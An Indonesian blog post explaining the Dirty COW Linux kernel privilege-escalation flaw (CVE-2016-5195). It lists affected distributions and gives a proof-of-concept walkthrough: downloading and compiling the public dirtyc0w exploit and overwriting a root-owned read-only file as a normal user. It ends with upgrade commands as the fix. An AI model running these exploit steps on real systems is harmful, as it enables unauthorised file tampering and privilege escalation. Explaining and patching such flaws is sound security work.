Sunday, October 30, 2016

[Linux,Security] Dirty Cow - CVE-2016-5195 "Race Condition Privilege Escalation (Write Access)"

Beberapa waktu yang lalu, mungkin sangat mengejutkan untuk para linux user mendapatkan informasi sebuah “bug” ataupun celah pada sistem operasi tersebut, yaitu Dirty CowInformasi celah yang bisa digunakan untuk melakukan exploitasi dari akses unprivilleged ke akses root dengan metode copy-on-write pada kernel sistem operasi linux sehingga bisa disingkat menjadi cow.

Apa itu celah CVE-2016-5195 ?
Menurut sumber :

"A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flawto gain write access to otherwise read - only memory mappings and thus increase their privileges on the system."

Varian Linux yang kena celah ?

Red Hat Enterprise Linux 7.x
Red Hat Enterprise Linux 6.x
Red Hat Enterprise Linux 5.x
CentOS Linux 7.x
CentOS Linux 6.x
CentOS Linux 5.x
Debian Linux wheezy
Debian Linux jessie
Debian Linux stretch
Debian Linux sid
Ubuntu Linux precise (LTS 12.04)
Ubuntu Linux trusty
Ubuntu Linux xenial (LTS 16.04)
Ubuntu Linux yakkety
Ubuntu Linux vivid/ubuntu-core
SUSE Linux Enterprise 11 and 12.
Openwrt

Proof of Concepts (PoC)
Sebelum melakukan uji coba, sistem operasi yang digunakan 

ubuntu@ubuntu:~/bug$ uname -a
Linux ubuntu 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
ubuntu@ubuntu:~/bug$ 

Download file dirty cow :

$ wget wget 
https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Kemudian lakukan compile terhadap file dirtyc0w.c yang sudah didownload (note.jalankan pada user normal).

ubuntu@ubuntu:~/bug$ gcc -pthread dirtyc0w.c -o dirtyc0w

Untuk uji coba, misalkan ada sebuah file yang dibuat oleh root, seperti berikut.

root@ubuntu:~/bug# echo ini adalah pesan di buat oleh root > file
root@ubuntu:~/bug# cat file 
ini adalah pesan di buat oleh root
root@ubuntu:~/bug# 

Kemudian pada user normal, pesan yang dibuat oleh root, hanya bisa dibaca oleh user normal (read-only).

ubuntu@ubuntu:~/bug$ ls -l | grep file
-rw-r--r-- 1 root   root      35 Oct 30 10:02 file
ubuntu@ubuntu:~/bug$ 

Namun untuk melakukan proses mengubah isi seperti biasa tidak bisa dilakukan, dikarenakan hak akses ataupun permission file pada linux.

ubuntu@ubuntu:~/bug$ cat file 
ini adalah pesan di buat oleh root
ubuntu@ubuntu:~/bug$ echo saya ubah isi pesannya > file 
-bash: file: Permission denied
ubuntu@ubuntu:~/bug$

Pada saat dirtyc0w dijalankan di user normal, isi dari file bisa diubah tanpa mengubah permission.

ubuntu@ubuntu:~/bug$ ./dirtyc0w file "Pesan ini sudah di ubah oleh user"
mmap b773b000
madvise 0
procselfmem -394967296
ubuntu@ubuntu:~/bug$ cat file 
Pesan ini sudah di ubah oleh user 

Bagaimana cara menghindari bug tersebut?
Bug ini bukan merupakan virus, sehingga untuk menghindari celah tersebut dengan melakukan upgrade sistem operasi yang ada.

$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

Dirty COW logo

Referensi :

No comments:

Post a Comment